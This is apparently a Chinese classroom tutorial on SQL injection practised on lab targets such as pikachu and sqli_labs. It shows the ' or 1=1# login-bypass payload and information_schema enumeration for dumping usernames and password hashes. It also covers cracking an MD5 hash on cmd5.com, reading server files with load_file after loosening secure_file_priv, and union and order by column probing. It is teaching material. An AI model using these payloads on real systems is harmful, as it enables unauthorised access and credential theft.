sql注入(仅供参考不可实践)

1.什么是sql注入?

用户(黑客)输入的参数(恶意的数据),被拼接到Sql语句中,作为sql语句的一部分被正常执行了。

 

第一个案例:万能密码登录

a.部署news靶场

news靶场是一个新闻管理系统。这个web应用是存在sql注入漏洞的。

b.news 新闻网站后台登录:

1.黑客在表单中输入的数据:

用户名: ' or 1=1#

密码: 123

2.后台的php代码

$username=" ' or 1=1# ";
$password='123';
 # 这条sql语句查询的结果不为空,可以登录成功 
 select  userid  from  news_users 
 where  username = ' ' or 1=1# ' and password='123' 
select userid from news_users 
where username = 'admin' and password='123456'

3.实验代码

use news;
# 1.正常语句登录失败的
select userid from news_users 
where username = 'ntd2304' and password='e10adc3949ba59abbe56e057f20f883e';
# 2.正常语句登录成功的
select userid from news_users 
where username = 'admin' and password='e10adc3949ba59abbe56e057f20f883e';
# 3.黑客输入特殊数据登录成功的
select userid from news_users 
where username = ' ' or 1=1# ' and password='e10adc3949ba59abbe56e057f20f883e'

 

 

e10adc3949ba59abbe56e057f20f883e的原始密码是什么?123456

访问 cmd5网站: https://www.cmd5.com/

输入hash值: e10adc3949ba59abbe56e057f20f883e ,得到 123456。

2.部署靶场环境

1.news靶场 (我们提供的)

2.pikachu靶场(web应用综合靶场),网上都有通关教程

3.sqli_labs靶场 (专门针对sql注入的靶场),网上都有通关教程

 

3.Sql基础

3.0 基本的查询案例

use pikachu;
select * from pikachu.member;
select * from pikachu.member where sex='girl';
select * from member where id>=5;
select * from member where id!=3;
select * from member where id in (2,4,6,8);
select * from member where id not in (2,4,6,8);
select * from member where id between 3 and 5;
select * from member where id=3 or id=5;
select * from member where id=7 and sex='girl';
# 模糊查询
# 1.查找手机号以136开头的记录
select * from member where phonenum like '136%';
# 2.查找手机号以3作为结尾的记录
select * from member where phonenum like '%3'; 
# 3.查询姓名中包含字母n的记录
select * from member where username like '%n%';

 

3.1Sql字符串函数案例:

/*
字符串函数
*/
# 返回字节长度
select length('hello世界');
# 返回'hello世界'中的'世界',位置从1开始
select substr('hello世界',6,2);
# 返回'hello世界'中的'hello'
select left('hello世界',5);
# 字符串连接
select concat('hello','世界');
# 同一个分组的多个字符串连接成一个字符串(列变行,每个数据之间以逗号分割)
select username from pikachu.member;
select group_concat(username) from pikachu.member;
# 返回字符串中第一个字符的ascii码值 a=>97  A=>65  0=>48
select ascii('Abc');
# 将字符串转换为十六进制  A=>65=>41
select hex('ABC');
# 将 "lucy,lili,kevn" 转换为十六进制
select hex('lucy,lili,kevn');

sql注入(仅供参考不可实践)_第1张图片

 

3.2 系统信息函数

/*
 获取数据库系统相关信息
*/
# 1. 获取mysql的版本
select version();
# 2. 获取当前数据库的名称
select database();
# 3.获取当前用户
select user();
# 4. 返回数据库路径
select @@datadir;

渗透测试时,为什么需要关注mysql的版本?

在Mysql5.0以上的数据库中可以使用information_schema数据库来查看该数据的所有库、表、列名等信息,这对数据库拖库十分有帮助,因此我们在渗透测试阶段需要对Mysql数据库的版本多进行留意,利用information_schema这个数据库获取到我们需要的信息。

3.3使用load_file函数读取文件

1.修改mysql的配置文件my.ini。打开phpstudy窗口,"其他选项菜单"→"打开配置文件"→mysql-ini。

2.在文件中增加以下内容:secure_file_priv=''

3.在phpstudy窗口中, 点击重启按钮

4.打开mysql命令行窗口,执行命令: mysql-> select load_file('d:/hello.txt')

如果没有 secure_file_priv 则新增
1.指定目录:secure_file_priv=/path/to/data
2.不限目录:secure_file_priv=''      
3.禁止操作:secure_file_priv=NULL 或没有这一项内容

高级sql练习:

/*
 高级用法
*/
# 1. 条件函数
select if(10>5,'success','failed');
# 2. 休眠函数
# select sleep(3);
# 3. 随机数,生成0~1之间的随机数
select rand();
# 4.利用mysql读取文件
select  load_file ('D:/phpStudy/WWW/news/include/database.inc.php');

 

 

3.4 Sql注入的前置知识

  1. information_schema库(其它数据库的元数据,有其它数据库结构的信息)

information_schema 是mysql5.0以上版本中自带的一个数据库。

2. tables表

information_schema库中的tables表中table_schema列(存储数据库名)和table_name列(存储表名)

  1. columns表

information_schema库中的columns表中table_schema列(存储数据库名)、table_name列(存储表名)、column_name列(存储列名)。

 

已知mysql的版本是5.5,当前数据库名是news。

1.根据information_schema库中的信息获取news库的所有表;

2.获取news库的news_users表的所有字段

3.获取news库的news_users表的所有数据

4.如果数据中有密码的hash值,尝试使用cmd5.com这个网站查询得到明文的口令

10:05回来

select * from information_schema.tables;
select table_schema,table_name from information_schema.tables;

 # 1.获取news数据库的所有表名 
select table_name from information_schema.tables 
where table_schema='news';

 # 2.获取news数据库的news_users表的所有字段名 
select column_name from information_schema.columns
where table_schema='news' and  table_name='news_users';

 #3.获取news数据库的news_users表的username,passowd字段的数据 
select username,password from news.news_users;

作业:(剩余的时间)

1.根据information_schema库中的信息获取pikachu库的所有表;

2.获取pikachu库的users表的所有字段

3.获取pikachu库的users表的所有数据

4.如果数据中有密码的hash值,尝试使用cmd5.com这个网站查询得到明文的口令

###################参考############################
# 1. 当前mysql的版本>5.0,存在information_schema这个库
select version();
# 2. 获取当前数据库:news
select database();
# 3. news库中有哪些表
# 所有表的信息存储在 information_schema.tables 表中
select table_schema,table_name from information_schema.tables
where table_schema='news';
# 4.查看news库的news_users表中有哪些字段
# 所有字段的信息存储在 information_schema.columns 表中 
select table_name,column_name from information_schema.columns
where table_schema='news' and table_name='news_users';
# 5.查看news_users表的userid\username\password字段的值
# 获取的值: 1 admin e10adc3949ba59abbe56e057f20f883e
select userid,username,password from news_users;

# 6. hash: e10adc3949ba59abbe56e057f20f883e
# 通过cmd5.com网站查询获取到原始口令: 123456

# 7. 可以使用admin/123456登录到网站后台


 

order by与union的使用

# 1.通过不断修改order by后面的值, 判断查询结果中有多少列 
select * from news.news_users order by 3;
 # 2. union -联合查询
# union 前后 字段数量 相等, 类型没要求 。 
select * from news.news_users  union  select 1,2,3;

 

你可能感兴趣的:(笔记)